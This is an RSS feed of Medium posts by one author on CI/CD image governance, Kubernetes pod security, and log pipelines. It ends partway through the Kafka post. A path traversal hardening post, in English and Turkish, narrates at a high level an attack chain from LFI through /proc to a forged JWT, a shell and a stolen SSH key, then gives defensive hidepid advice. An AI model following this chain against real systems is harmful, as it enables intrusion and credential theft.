<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Burak Bozacı on Medium]]></title>
        <description><![CDATA[Stories by Burak Bozacı on Medium]]></description>
        <link>https://medium.com/@capitansec?source=rss-3d58c8ba3ae------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Y0QkY_jOJWyZBSiL7tsdgQ.jpeg</url>
            <title>Stories by Burak Bozacı on Medium</title>
            <link>https://medium.com/@capitansec?source=rss-3d58c8ba3ae------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 21:15:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@capitansec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Reclaiming Control: The CI/CD Chaos]]></title>
            <link>https://medium.com/@capitansec/reclaiming-control-the-ci-cd-chaos-6e6f77d237f2?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e6f77d237f2</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[ci-cd-pipeline]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 20:03:44 GMT</pubDate>
            <atom:updated>2025-11-13T20:04:04.156Z</atom:updated>
            <content:encoded><![CDATA[<p>This wasn’t an “optimization task.” It was a <strong>disciplinary operation</strong> against an ecosystem that had grown wild and unstructured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/112/0*LCwDY9H931EbSr1t" /></figure><p><strong>My goal was simple: </strong>Expose who’s using which base image, where each layer originates, and how deep the mess goes.</p><p>But when I started, what I saw was nothing short of a <strong>digital farmyard.</strong><br>Team job names were random, Jenkins workspaces unorganized, file structures inconsistent. No one knew who owned what or what each pipeline was even doing.</p><h3>1️⃣ The First Attempt: When Docker Inspect and History Failed</h3><p>I started with the basics — manual inspection.<br>Simple commands, nothing fancy:</p><pre>docker inspect myapp:latest | jq &#39;.[0].Parent&#39;<br>docker history myapp:latest --no-trunc</pre><p>But none of the images had been built with <strong>Docker BuildKit v1</strong>.<br>That meant every critical metadata field was <strong>empty.</strong><br>RootFS, Parent, ContainerConfig — all null.<br>These images were <strong>blind</strong>; they had no memory of where they came from.</p><p>So I turned to Jenkins, hoping to find some structure.<br>What I found was chaos.</p><h3>2️⃣ The Jenkins Farm: A Graveyard of Workspaces</h3><p>Every pipeline lived in its own world.<br>I searched through the workspace:</p><pre>grep -rl &quot;FROM&quot; /var/lib/jenkins/workspace/</pre><p>The result? Thousands of Dockerfiles, none following any standard.<br>File names were inconsistent: Dockerfile, dockerFile, Docker.build, Dockerfile_OLD, Dockerfile_bak…</p><p>Some jobs had <strong>three different Dockerfiles</strong>, and it was impossible to tell which one was actually used.<br>The job names themselves were ridiculous:</p><pre>App2Solute_Dev_02<br>prod-butterfly-app-ocp-pipeline<br>TEST_OLD_jenk_copy</pre><p>To get a clearer picture, I wrote a Groovy script to scan Jenkins configurations directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/0*gK7s-gu4SZsYm38K.jpeg" /></figure><pre>Jenkins.instance.items.each {<br>    println &quot;Job: ${it.name}&quot;<br>    it.getAllJobs().each { job -&gt;<br>        def ws = job.getSomeWorkspace()<br>        if (ws) {<br>            println &quot;  Workspace: ${ws}&quot;<br>        }<br>    }<br>}</pre><p>But even that failed — most workspace references were empty because builds ran in ephemeral environments. The traces were there, but the data was gone.</p><p>At this point, manual analysis was hopeless. Docker Inspect gave nothing. Jenkins was a maze. BuildKit metadata was missing. What I needed wasn’t just a tool — it was a <strong>strategy.</strong></p><h3>3️⃣ Enter Docker Scout</h3><p>When Docker Scout entered the scene, everything changed. My mission was visibility — and Scout enforced it ruthlessly.</p><p>First tests:</p><pre>docker scout cves myapp:latest<br>docker scout quickview myapp:latest</pre><p>Then I switched to structured output:</p><pre>docker scout cves myapp:latest --output json &gt; reports/myapp-scout.json</pre><p>Finally — structured, machine-readable data. But working in an <strong>offline registry environment</strong> was painful. Scout’s cache system was aggressive, sessions expired fast, and I had to manually run:</p><pre>docker scout cache prune --sboms -f</pre><p>every few min. Still, it started to normalize the chaos. For the first time, I had <strong>consistent visibility</strong> over what was being built and by whom.</p><h3>4️⃣ The Nexus Struggle: Tracking Layers That Don’t Want to Be Found</h3><p>Next, I turned to Nexus, hoping it could map layers to images. No luck. There was no endpoint to trace which image a given layer hash belonged to. Queries like:</p><pre>curl -s -u user:pass https://nexus.local/repository/docker/v2/myapp/manifests/latest | jq .</pre><p>returned incomplete manifests. No proper metadata. No audit trail.<br> Nexus simply said, “I store images, I don’t explain them.”</p><p>So I integrated Docker Scout directly into the Jenkins pipelines.<br>Every build now generated its own report:</p><pre>docker scout cves $IMAGE_TAG --output json &gt; $WORKSPACE/scout-report.json</pre><p>Finally, we had <strong>centralized, trackable reports.</strong></p><h3>🧱 Final Phase: Locking Down the Registry</h3><p>The last phase wasn’t about visibility — it was about <strong>control</strong>. After weeks of tracing layers and untangling pipelines, one pattern was clear:<br>everyone was pulling images from <strong>different Nexus ports.</strong><br>nexus.local:32001, nexus.infra:30447, nexus-stage:31009…<br>Each team had built its own shortcut to chaos.</p><p>That ended here.</p><p>I enforced a hard rule:<br>Only nexus.dfdf:4545 is authorized. Everything else is forbidden.</p><p>To make that real, I wrote an admission policy that denies any deployment or pod pulling from an unapproved registry. No exceptions. No “temporary bypass.” No <strong>“we’ll fix it later.”</strong></p><pre>apiVersion: admissionregistration.k8s.io/v1<br>kind: ValidatingAdmissionPolicy<br>metadata:<br>  name: enforce-nexus-registry<br>spec:<br>  matchConstraints:<br>    resourceRules:<br>      - apiGroups: [&quot;apps&quot;]<br>        apiVersions: [&quot;v1&quot;]<br>        operations: [&quot;CREATE&quot;, &quot;UPDATE&quot;]<br>        resources: [&quot;deployments&quot;, &quot;statefulsets&quot;, &quot;daemonsets&quot;, &quot;replicasets&quot;, &quot;pods&quot;]<br>  validations:<br>    - expression: &gt;<br>        all(container.image.matches(&#39;^nexus\\.dfdf:4545/.*$&#39;)<br>        for container in object.spec.template.spec.containers)<br>      message: &quot;Only images from nexus.dfdf:4545 are allowed.&quot;</pre><p>That single rule did more than just restrict traffic — it brought order. Every unauthorized pipeline broke instantly. And in that breakage, the teams were finally forced to align.</p><p>The message was clear:</p><blockquote>Chaos ends where policy begins.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*zd6R7dekHA2VIGG7.jpg" /></figure><p>No more arbitrary ports. No more invisible dependencies. From now on, the build chain speaks with one registry — and one standard.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e6f77d237f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hardening Against Path Traversal: Breaking the Cyber Chain from DevOps to SecOps -EN]]></title>
            <link>https://medium.com/@capitansec/hardening-against-path-traversal-breaking-the-cyber-chain-from-devops-to-secops-en-336918b9bf61?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/336918b9bf61</guid>
            <category><![CDATA[sdlc]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Tue, 28 Oct 2025 19:20:35 GMT</pubDate>
            <atom:updated>2025-10-28T19:20:35.165Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vdOV6pZ78pp0C1h3ET83Og.png" /></figure><p>While scanning the target application I encountered a <strong>Path Traversal</strong>.<br>My first impression: a classic <strong>file-read vulnerability</strong>.<br>What I found interesting, however, was that the points accessible via <strong>LFI</strong> were touching <strong>runtime artifacts</strong> — it was as if a door to the /proc namespace had been opened.</p><blockquote><em>“If I can extract process-level information from here, I can gather the pieces needed for the rest of the chain.”</em></blockquote><h3>What I Observed</h3><p>Even if file contents don’t directly reveal secrets, <strong>process metadata</strong> — cmdline, open file paths, working directory hints — provide a valid trail to follow.</p><p>Seeing this, I thought:<br>knowing which config a service uses, which user it runs as, or which directory it operates from can enable an attacker to <strong>guess the location of private keys or signing material</strong>.</p><p>So this affected other assets in the application as well. Using path traversal to follow processes has now become a <strong>familiar technique</strong> for many of us.</p><h3>High-level Thoughts</h3><p>Even a small piece of information in /proc can reveal the application’s <strong>config structure and runtime behavior</strong>.</p><p>From an attacker’s perspective, after getting a shell the usual first step is <strong>process discovery</strong>:</p><ul><li>Which processes are running</li><li>With which command-line arguments</li><li>Which config files are opened</li></ul><p>These are the building blocks for <strong>privilege escalation</strong>.</p><p>If secrets (private keys, JWT signing keys, etc.) are stored in application configs or at runtime, discovering them can be sufficient for escalation.</p><blockquote><em>Note: I am not sharing exploit techniques here; I’m only describing the thought process observed in the field.</em></blockquote><p>My tactical approach is always:</p><blockquote><strong><em>Gather information → Correlate → Refine the target.</em></strong></blockquote><p>/proc gave me second-hand evidence to correlate: does a process’s cmdline reference a config path?<br>With that correlation, locating a private key or JWT signing material could provide a serious advantage — the ability to <strong>forge tokens or generate signatures</strong>.</p><p>Such a win opens doors for <strong>rapid privilege expansion</strong> and <strong>lateral movement</strong>.<br>Also, iterating over process ID ranges and sending simple GET requests is straightforward.</p><h3>After Getting a Shell</h3><p>After <strong>path traversal</strong>, I created a <strong>JWT</strong> and used a <strong>file upload</strong> to gain a shell.<br> Once inside, fuzzing /proc even allowed me to retrieve the <strong>SSH key</strong> from the application process owner’s home directory.</p><p>However, instead of exploiting further, I chose to <strong>link the findings into a coherent chain</strong> and expand the impact logically — staying within <em>out-of-box</em> behavior.</p><p>Once I had a shell, my checklist was simple:</p><ol><li><strong>Reconnaissance</strong> (process list)</li><li><strong>Credential Harvesting</strong> (config and env hints)</li><li><strong>Persistence</strong></li><li><strong>Privilege Escalation vectors</strong></li></ol><h3>Mitigations</h3><p>In an ideal scenario, an application with a <strong>Path Traversal</strong> vulnerability wouldn’t exist in production.<br> However, during internal testing, it’s often unclear whether you’re testing <strong>dev</strong>, <strong>test</strong>, <strong>preprod</strong>, or <strong>prod</strong> — especially in <strong>blackbox</strong> scenarios.</p><p>In CI/CD environments with continuous deployments, different packages across environments may temporarily introduce vulnerabilities.<br> Therefore, <strong>tightening must happen across multiple layers</strong> during SDLC and system administration.</p><p>While Path Traversal is the critical issue here, at the OS level this can become <strong>difficult to anticipate or mitigate</strong> entirely.<br> Still, various <strong>countermeasures</strong> can and should be applied.</p><h3>DevOps-layer Mitigations</h3><p>Even though <strong>SCA</strong> and <strong>SAST</strong> tools are often used in test, preprod, and prod, these scans should also be enforced in <strong>development</strong>.</p><p>Branches tied to environments should be isolated:</p><pre>*/develop -&gt; Dev Environment<br>*/test -&gt; Test Environment<br>*/prod -&gt; Production Environment</pre><p>Direct commits to those branches must not be allowed, and all <strong>MR/PRs</strong> should be monitored by DevOps teams.</p><p>Environment-specific branches should be monitored via <strong>hooks</strong>.<br> Each merge request should trigger a <strong>Fortify</strong> or <strong>SonarQube</strong> scan — and merges must be blocked if findings exist.</p><h3>OS-layer Mitigations</h3><p>When an unauthorized actor gains access (or achieves path traversal), the <strong>first checks</strong> are always the same:</p><ul><li>Running processes and services</li><li>Discovery of bound ports via netstat / ss</li><li>Services listening on 127.0.0.1</li></ul><p>Whether the attacker runs <strong>linenum</strong>, <strong>linpeas</strong>, or performs manual inspection doesn’t matter.</p><p>One of the strongest mitigations against <strong>privilege escalation</strong> or <strong>process reconnaissance</strong> is <strong>isolating /proc entries by user</strong>.</p><p>This can be done by <strong>mounting the /proc filesystem</strong> with appropriate parameters.</p><h3>🔍 The /proc Filesystem</h3><p>The /proc directory contains information about all running processes:</p><pre>/proc/1<br>/proc/1234<br>/proc/5678</pre><p>Each directory corresponds to a PID.<br> By default, all users can view and read these — which can cause <strong>security leaks</strong>:</p><ul><li>You can see what other users are running</li><li>Sensitive data like cmdline or environ can be read</li></ul><h3>🔒 The hidepid Parameter</h3><p>This parameter controls access to process information under /proc.</p><p><strong>Options:</strong></p><ul><li>hidepid=0 — Default. Everyone can see all processes.</li><li>hidepid=1 — Users can only see their own processes; others are invisible.</li><li>hidepid=2 — Users can only see their own processes and cannot even list others’ PIDs.</li><li>hidepid=2,gid=xxx — Members of the specified group can see all PIDs (useful for admins).</li></ul><h3>🧩 Example /etc/fstab Entry</h3><pre>proc  /proc  proc  defaults,hidepid=2,gid=proc  0  0</pre><p>With this configuration:</p><ul><li>/proc is mounted at boot with hidepid=2.</li><li>A user can only see their own processes.</li><li>Users in the proc group can see all processes.</li></ul><h3>✅ Benefits</h3><ul><li>Hides what other users are running on <strong>multi-user systems</strong> (servers, shared hosting).</li><li>Prevents <strong>information disclosure</strong> through /proc.</li></ul><h3>⚠️ Caveats</h3><p>Some monitoring tools like htop, ps aux, and systemd services need visibility into other users’ processes.<br> hidepid=2 will restrict that access.</p><p>In such cases, either:</p><ul><li>Run as root, or</li><li>Assign access to a <strong>special group</strong> using gid=... so only monitoring/admin users can view everything.</li></ul><p>There are <strong>multiple hardening layers</strong> — from filesystem to kernel.<br>I’ll discuss more of them in future posts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=336918b9bf61" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hardening Against Path Traversal: Breaking the Cyber Chain from DevOps to SecOps -TR]]></title>
            <link>https://medium.com/@capitansec/hardening-against-path-traversal-breaking-the-cyber-chain-from-devops-to-secops-tr-d91bbe0abd3b?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/d91bbe0abd3b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[career-paths]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Tue, 28 Oct 2025 13:14:13 GMT</pubDate>
            <atom:updated>2025-10-28T13:14:13.600Z</atom:updated>
            <content:encoded><![CDATA[<p>Hedef uygulamayı tararken bir Path Traversalile karşılaştım. İlk izlenim: klasik bir file-read zaafiyeti. Ama bana ilginç gelen şey, LFI’nin erişebildiği noktaların runtime artefact’lere dokunuyor olmasıydı — yani /proc sahasına bir kapı aralanmış gibiydi. “Eğer buradan process seviyesinde bilgi alırsam, zincirin geri kalanı için gerekli bilgileri toplayabilirim.”</p><h3><strong>Ne Gözlemledim</strong></h3><p>Dosya içeriklerinde doğrudan secret çıkmıyorsa bile process metadata’sı — cmdline, open file yolları, working directory ipuçları — geçerli bir takip çizgisi sunuyor. Bunu görünce şunu düşündüm: Bir service’in hangi config’i kullandığını, hangi kullanıcıyla çalıştığını veya hangi dizinde olduğunu bilmek, potansiyel private key ya da signing material’in yerini tahmin etme olasılığını açıyor.</p><p>Dolayısıyla uygulamada bulunan açık diğer asset’leri de etkiliyordu. Path traversal ile ps takip etmek artık hepimizin aşina olduğu bir yöntem.</p><h3>Neler Düşündüm(yüksek seviyede)</h3><ul><li>/proc içindeki küçük bir bilgi parçası bile, uygulamanın config yapısını ve çalışma şeklini ortaya koyabiliyordu.</li><li>Bir attacker perspektifinden, shell aldıktan sonra <strong>ilk iş</strong> genelde process keşfi: hangi processler çalışıyor, hangi command-line argümanlarla, hangi config dosyalarını açmışlar — bunlar yetki yükseltme adımları için temel.</li><li>Eğer uygulama config’inde veya çalışma zamanında secret’lar (private key, JWT signing key vb.) tutulmuşsa, bu bilgiyi keşfetmek escalation için yeterli olabilir.</li></ul><blockquote><em>Not: Burada exploit tekniği paylaşmıyorum; sadece sahada gözlemlediğim zihin sürecini aktarıyorum.</em></blockquote><p>Benim taktik yaklaşımım hep şu: bilgi topla, korrelasyon yap, hedefi netleştir. /proc bana bu korrelasyonu yapabilecek ikinci el kanıtlar veriyordu: bir process’in cmdline’ı config yoluna referans veriyor mu? Bu yolla bir private key veya JWT signing material’ine ulaşmak, uygulama seviyesinde ciddi avantaj sağlar — imza üretebilmek, token’ları forge edebilmek gibi yetenekler sağlar. Bu tür bir kazanım, hızlı yetki genişletmeleri ve lateral hareketler için kapıyı aralayabilir. ayrıca process’in alabileceği id değeri aralığında iterasyonla beraber basit bir GET isteği atmak oldukça kolay.</p><h3>Shell Sonrası</h3><p>Path traversal sonrası oluşturduğum jwt ve file upload ile birlikte shell aldım. Aslında /proc’u <strong>fuzz </strong>ettikten sonra uyguylama processinin owner’ının home path’inden ssh key’ini de alabiliyordum. Ancak bulguları birbirine bağlayarak bir chain oluşturmak ve impact’ı genişletmek out of box’a sadık kalarak devam ettim.</p><p>Shell geldiğinde aklımdaki checklist kısaydı: reconnaissance (process list), credential harvest (config ve env hints), persistence ve privilege escalation vector’ları.</p><h3>Önlemler</h3><p>Optimal senaryoda Path Traversal barındıran bir uygulamanın sunucuda yer almamasını bekleriz. Ancak iç testlerde dev, test, preprod, prod… hangi ortamdaki uygulamayı test ettiğinizi bilemeyebilirsiniz(blackbox). Sürekli üretimin olduğu her an farklı paketlerin farklı ortamlara deploy olduğu ortamlarda anlık olarak farklı zayıflıklara sahip paketler çalıştırılabilir. Bunun için SDLC ve sistem yönetiminin her aşamasında farklı katmanlarda sıkılaştırmalar elzemdir. Tabi ki buradaki kritik nokta Path Traversal. Ancak OS seviyesinde rolü olan biri için bu tahmin/müdahale edilemez bir bulgu olabilir. Yine de farklı önlemler alınabilir.</p><figure><img alt="https://www.softpehre.com/" src="https://cdn-images-1.medium.com/max/1024/1*hrKQQe9zIrVAXN4Mlwfa3g.png" /></figure><h3>DevOps Katmanında Önlemler</h3><p>Test, preprod, prod ortamlarda SCA, SaST araçları kullanılsa da bu taramalar dev ortamında da yapılmalı. Ortama bağlı branchler izole edilmeli. Doğrudan bu branchlere commit atılamamalı ve MR/PR DevOps ekipleri tarafından takip edilmeli.</p><p>*/develop -&gt; Dev Environment<br>*/test -&gt; Test Environment<br>*/prod -&gt; Dev environment</p><p>Ortam bağlı branchler hooklar ile takip edilmeli. Herhangi bir merge isteği fortify sonarqube gibi araçlarla taramayı tetiklemeli ve bulgu varsa merge edilemez olmalı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*46YLgiO1M09vBm53" /></figure><h3>OS Katmanında Önlemler</h3><p>Path traversal ya da sunucuya yetkisiz giren bir kişinin ilk etapta kontrol edeceği şeyler bellidir. Çalışan proses ve servisler, netstat/ss ile farklı portlara bind olmuş servislerin keşfi. Özellikle 127.0.0.1 vb aksiyonlar. Burada kullanıcnın linenum/linpeas koşması ya da manuel kontrol sağlaması önemsiz. Burada yetki yükseltmede ya da path traversalda saldırganın hareketlerini en kısıtlayacak önlemlerden biri /proc dizinindeki process kayıtlarının user bazında izole edilmesi. Bu da filesystem seviyesinde /proc dizinin ayrı bir şekilde farklı parametreler ile mount edilmesiyle yapılabilir.</p><p>/proc dizini, sistemde çalışan <strong>tüm süreçlerin (process)</strong> bilgilerini içerir.<br> Örneğin:</p><pre>/proc/1<br>/proc/1234<br>/proc/5678</pre><p>Her dizin bir PID’ye (process ID) karşılık gelir. Varsayılan olarak tüm kullanıcılar bu dizinleri görebilir ve işlem detaylarını okuyabilir. Bu da bazı güvenlik sorunlarına yol açabilir:</p><ul><li>Başka kullanıcıların ne çalıştırdığını görebilirsin.</li><li>Komut satırları (cmdline), çevre değişkenleri (environ) gibi hassas bilgiler okunabilir.</li></ul><h3>🔒 hidepid Parametresi</h3><p>Bu parametreyle /proc altındaki <strong>process bilgilerine erişim seviyesi</strong> kontrol edilir.</p><h4>📘 Seçenekler:</h4><p><strong>hidepid=0 </strong>Varsayılan. Herkes tüm process’leri görebilir.<br><strong>hidepid=1 </strong>Kullanıcı yalnızca kendi process’lerini görebilir, diğer kullanıcıların process’leri görünmez.<br><strong>hidepid=2 </strong>Kullanıcı yalnızca kendi process’lerini görebilir <strong>ve diğer kullanıcıların PID dizinlerini bile göremez</strong> .<br><strong>hidepid=2, gid=xxx</strong>gid ile belirtilen grup üyeleri tüm PID’leri görebilir (örneğin adminler içn).</p><h3>🧩 Örnek /etc/fstab satırı</h3><pre>proc  /proc  proc  defaults,hidepid=2,gid=proc  0  0</pre><p>Bu durumda:</p><ul><li>/proc dizini sistem açılışında hidepid=2 seçeneğiyle mount edilir.</li><li>Sadece kendi process’lerini görebilirsin.</li><li>proc grubuna üye olan kullanıcılar tüm process’leri görebilir.</li></ul><h3>✅ Avantajları</h3><ul><li>Çok kullanıcılı sistemlerde (ör. sunucular, shared hosting ortamı) <strong>diğer kullanıcıların ne çalıştırdığını gizler.</strong></li><li><strong>Bilgi sızmasını önler.</strong></li></ul><h3>⚠️ Dikkat Edilecekler</h3><ul><li>Bazı monitoring araçları (ör. htop, ps aux, systemd servisleri) diğer kullanıcıların process’lerine erişmek ister.<br> hidepid=2 ayarı bunları kısıtlayabilir.</li><li>Bu durumda ya root olman gerekir ya da gid=... ile özel bir grup tanımlayıp o gruba erişim vermelisin.</li></ul><p>Filesystem, kernel … bir kaç katmanda bu gibi sıkılaştırmalar mevcut. Dahasından da bahsedeceğim.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d91bbe0abd3b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pod Security Standards Migration: From Chaos to Control in Production]]></title>
            <link>https://medium.com/@capitansec/pod-security-standards-migration-from-chaos-to-control-in-production-d0d21353af27?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0d21353af27</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[production]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Tue, 30 Sep 2025 06:39:44 GMT</pubDate>
            <atom:updated>2025-09-30T06:39:44.084Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’re running Kubernetes in production and haven’t migrated from Pod Security Policies (PSP) to Pod Security Standards (PSS) yet, you’re living dangerously. PSPs were deprecated in Kubernetes 1.21 and <strong>completely removed</strong> in 1.25. Here’s how to migrate without breaking your production workloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*xd5PXNZ7aDsb8qF8YrtQKQ.png" /></figure><h3>The Reality Check: Why This Migration Matters</h3><p>When Kubernetes 1.25 dropped, thousands of clusters worldwide suddenly lost their security policies overnight. The migration isn’t optional — it’s survival.</p><p><strong>The old way (PSP):</strong></p><pre># Complex, cluster-wide policies<br># Difficult to troubleshoot<br># Performance overhead<br># Deprecated since 1.21</pre><p><strong>The new way (PSS):</strong></p><pre>apiVersion: v1<br>kind: Namespace<br>metadata:<br>  name: production<br>  labels:<br>    pod-security.kubernetes.io/enforce: restricted<br>    pod-security.kubernetes.io/audit: restricted<br>    pod-security.kubernetes.io/warn: restricted</pre><p>Clean, namespace-scoped, and built into the Kubernetes API server.</p><h3>The Three Security Profiles That Matter</h3><h3>1. Privileged — “The Wild West”</h3><p>Zero restrictions. Use sparingly for system components like CNI plugins, monitoring agents.</p><h3>2. Baseline — “The Sweet Spot”</h3><p>Prevents most dangerous escalations while allowing common deployment patterns:</p><ul><li>No privileged containers</li><li>No host networking/IPC</li><li>Limited volume types</li><li>Non-root users preferred</li></ul><h3>3. Restricted — “Fort Knox”</h3><p>Maximum security hardening. Perfect for customer-facing applications:</p><ul><li>Enforces non-root users</li><li>Drops ALL capabilities</li><li>Read-only root filesystem</li><li>Strict seccomp/SELinux profiles</li></ul><h3>Production Migration Strategy That Actually Works</h3><h3>Phase 1: Discovery (Week 1)</h3><pre># Audit existing workloads<br>kubectl get pods --all-namespaces -o json | \<br>  jq &#39;.items[] | select(.spec.securityContext.privileged==true)&#39;</pre><pre># Use kubectl-convert for PSP analysis<br>kubectl convert --local -f old-psp.yaml --output-version v1</pre><h3>Phase 2: Dry Run (Week 2)</h3><pre># Start with warn mode<br>apiVersion: v1<br>kind: Namespace<br>metadata:<br>  labels:<br>    pod-security.kubernetes.io/warn: baseline<br>    pod-security.kubernetes.io/audit: baseline<br>    # NO enforce yet!</pre><p>Monitor warnings without breaking anything. This saved us from 47 deployment failures in our migration.</p><h3>Phase 3: Gradual Enforcement (Week 3–4)</h3><pre># Non-production first<br>kubectl label namespace dev-* pod-security.kubernetes.io/enforce=baseline</pre><pre># Production namespaces one by one<br>kubectl label namespace api-gateway pod-security.kubernetes.io/enforce=restricted</pre><h3>Real-World Gotchas We Hit</h3><h3>Problem #1: Third-Party Helm Charts</h3><p><strong>Issue:</strong> Most charts assume privileged access <strong>Solution:</strong></p><pre># values.yaml override<br>securityContext:<br>  runAsNonRoot: true<br>  runAsUser: 1001<br>  allowPrivilegeEscalation: false<br>  capabilities:<br>    drop: [&quot;ALL&quot;]</pre><h3>Problem #2: Legacy Applications</h3><p><strong>Issue:</strong> Apps expecting root filesystem writes <strong>Solution:</strong> EmptyDir volumes + initContainers for setup</p><h3>Problem #3: Monitoring Blind Spots</h3><p>yaml</p><pre># Add these metrics to your monitoring<br>apiserver_admission_webhook_admission_duration_seconds{name=&quot;PodSecurity&quot;}<br>apiserver_admission_step_admission_duration_summary{operation=&quot;CONNECT&quot;,step=&quot;admission&quot;}</pre><h3>Automation That Scales</h3><h3>GitOps Integration</h3><pre># argocd-application.yaml<br>apiVersion: argoproj.io/v1alpha1<br>kind: Application<br>spec:<br>  source:<br>    helm:<br>      values: |<br>        namespaceLabels:<br>          pod-security.kubernetes.io/enforce: restricted</pre><h3>CI/CD Pipeline Checks</h3><pre># .github/workflows/security-check.yml<br>- name: PSS Compliance Check<br>  run: |<br>    polaris audit --config polaris-config.yaml \<br>      --format json | jq &#39;.results[] | select(.kind==&quot;Pod&quot;)&#39;</pre><h3>Performance Impact: The Numbers</h3><p>In our 500-node cluster migration:</p><ul><li><strong>CPU overhead:</strong> &lt; 1% additional API server load</li><li><strong>Memory impact:</strong> Negligible (built into API server)</li><li><strong>Latency:</strong> ~2ms additional admission time</li><li><strong>Deployment success rate:</strong> 99.2% (after fixing chart issues)</li></ul><h3>The Bottom Line</h3><p>PSS migration isn’t just about compliance — it’s about building resilient, secure infrastructure that scales. Start with audit/warn modes, fix your workloads incrementally, and enforce gradually.</p><p><strong>Pro tip:</strong> Use kubectl auth can-i to verify RBAC interactions with PSS before going live.</p><p>The migration deadline has passed, but it’s never too late to secure your cluster properly. Your future self (and security team) will thank you.</p><p><em>Want to dive deeper? Check out the </em><a href="https://kubernetes.io/docs/concepts/security/pod-security-standards/"><em>Kubernetes PSS documentation</em></a><em> and consider implementing OPA Gatekeeper for advanced policy management.</em></p><p><strong>Tags:</strong> #Kubernetes #DevOps #Security #PSS #Migration #Production</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0d21353af27" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Processing 10 Million Logs Per Second: Migration from RabbitMQ to Kafka]]></title>
            <link>https://medium.com/@capitansec/processing-10-million-logs-per-second-migration-from-rabbitmq-to-kafka-4334ed8ee77a?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/4334ed8ee77a</guid>
            <category><![CDATA[logging]]></category>
            <category><![CDATA[5651]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[monitoring]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Tue, 23 Sep 2025 08:12:54 GMT</pubDate>
            <atom:updated>2025-09-23T08:12:54.229Z</atom:updated>
            <content:encoded><![CDATA[<p>In Turkey, Law 5651 mandates that ISPs and large organizations must collect and store user activity(wan outgate) logs for security and legal compliance. At a major logistic company, we faced the challenge of processing firewall logs from multiple NAS devices that could spike up to 10 million logs per second during peak hours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*sgOI5Nux83Rny0vz.png" /></figure><p><strong>Initial Architecture:</strong></p><pre>Rsyslog → RabbitMQ → Go Consumer → Elasticsearch</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/0*kxrH2zHN8Bn6xSQ-.jpg" /></figure><p>This setup worked fine for normal loads but struggled dramatically during peak times, threatening our compliance requirements. If you are going to run your services on medium sized companies, this will be work fine.</p><h3>Chapter 1: Elasticsearch Bulk Optimization Attempts</h3><p>Before considering a complete architecture change, we tried optimizing our Elasticsearch setup.</p><h3>First Attempt: Bulk Size Tuning</h3><p>We experimented with different bulk configurations:</p><pre>biCfg := esutil.BulkIndexerConfig{<br>    Client:        es,<br>    NumWorkers:    8,<br>    FlushBytes:    5 * 1024 * 1024,<br>    FlushInterval: 3 * time.Second,<br>}<br></pre><p>Increasing workers from 8 to 32 and flush size to 50MB showed improvements:</p><ul><li>Before: 20K docs/s</li><li>After: 50K docs/s</li></ul><p>That’s hude to be honest. And This situation raised questions in our minds. We also reviewed the application again. ElasticSearch was really good for fuzzy search and log discovery. However, we were writing logs more than reading them. After that, we exported them at regular intervals and signed them with a timestamp.</p><h3>Second Attempt: Index Optimization</h3><p>We tuned Elasticsearch index 